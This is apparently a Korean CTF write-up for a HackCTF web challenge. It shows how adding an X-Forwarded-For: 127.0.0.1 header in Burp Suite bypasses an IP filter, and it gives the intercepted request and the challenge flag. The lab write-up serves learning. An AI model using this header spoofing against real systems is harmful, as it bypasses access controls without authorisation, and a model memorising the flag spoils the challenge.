


Home

이 사이트에서는 일부 IP를 필터링하고 있습니다.

해결하기 위한 단서는 머리말을 생각해보는 것입니다.
그럼 건투를 빕니다!


인증되지 않은 IP 주소입니다.

일부 IP를 필터링한다고 되어있고, 내 ip주소가 필터링되어 인증되지 않는다고 뜨는 것 같다.

ip를 loopback IP로 조작해보려하는데

머리말을 생각해보라고 하는 힌트가 있다. '머리말 → 헤더'로 유추하여 헤더에서 ip주소를 어떻게 변조하나 찾아보면 X-Forwarded-For (XFF) 헤더를 이용할 수 있을 것 같다.

버프 스위트에서 X-Forwarded-For: 127.0.0.1 헤더에 넣어주고 forward하면

Request to http://ctfj0n9hyun.xyz:2034 [14.46.30.205]

Forward Drop Intercept is on Action Open Browser Comment this item HTTP/1 ?

Pretty Raw Hex #n

```

1 GET / HTTP/1.1
2 Host: ctf.j0n9hyun.xyz:2034
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
6 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Accept-Encoding: gzip, deflate
8 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
9 Cookie: _ga=GA1.2.1842298042.1629248419; _gid=GA1.2.477529388.1632314715;
  Cookie=WlhsS2NGcERTVFPKYWtsCFRFTktNR1ZZUW14SnFtOXBXak5XYkdNeIVXbG1VVA5;
  D_VISITOR_ID=7dcb528e-fb3f-c0f8-faf2-df24827138d0; session=
  .eJwVj8FuwjAQRH8F7TmX20QSqYciQSRh1wqyW9m3gFPFDk4rEEp ixL_XnGfe6M0TOhf9BPVPd733B
  XgHNWOCfZD9Tpc6idyszIADpnG1sV2tsKMUepFi8BQ1M-HISXxWUu0Gq9rZsEOgeFykupRG6YqafUk
  q9xXO1LRbCjQQ03PuIFbkTFDeOwUKY4XJeQwuWnHw1GDCBrc26BUza9hXNGnP5bcuMewCqrbKDM90i
  4nvjewnXERnPuBVvOPe36Yu5gPw9zhfXZd6eP0DXwhNrg.FC2t-g.5IJ19pvKhKjoIM44Wly6QLEeG9
  1E; PassAdmin=j0n9hyun; PHPSESSID=96ea0e88ee4298a04fe86e7cd4c2c3e9
10 Connection: close
11
12

```

INSPECTOR ? X

Request Attributes

Query Parameters (0)

Body Parameters (0)

Request Cookies (7)

Request Headers (9)

NAME	VALUE
Host	ctfj0n9hyun.xyz:2034
Cache-Control	max-age=0
Upgrade-Insecure-Req...	1
User-Agent	Mozilla/5.0 (Windows N...
Accept	text/html,application/xht...
Accept-Encoding	gzip, deflate
Accept-Language	ko-KR,ko;q=0.9,en-US;q...
Cookie	_ga=GA1.2.1842298042.1...
Connection	close

Name:

X-Forwarded-For

Value:

127.0.0.1

Cancel Add

flag를 얻을 수 있다.

127.0.0.1

flag is HackCTF{U5u4lly_127.0.0.1_4ll0w5_y0u_t0_p4ss}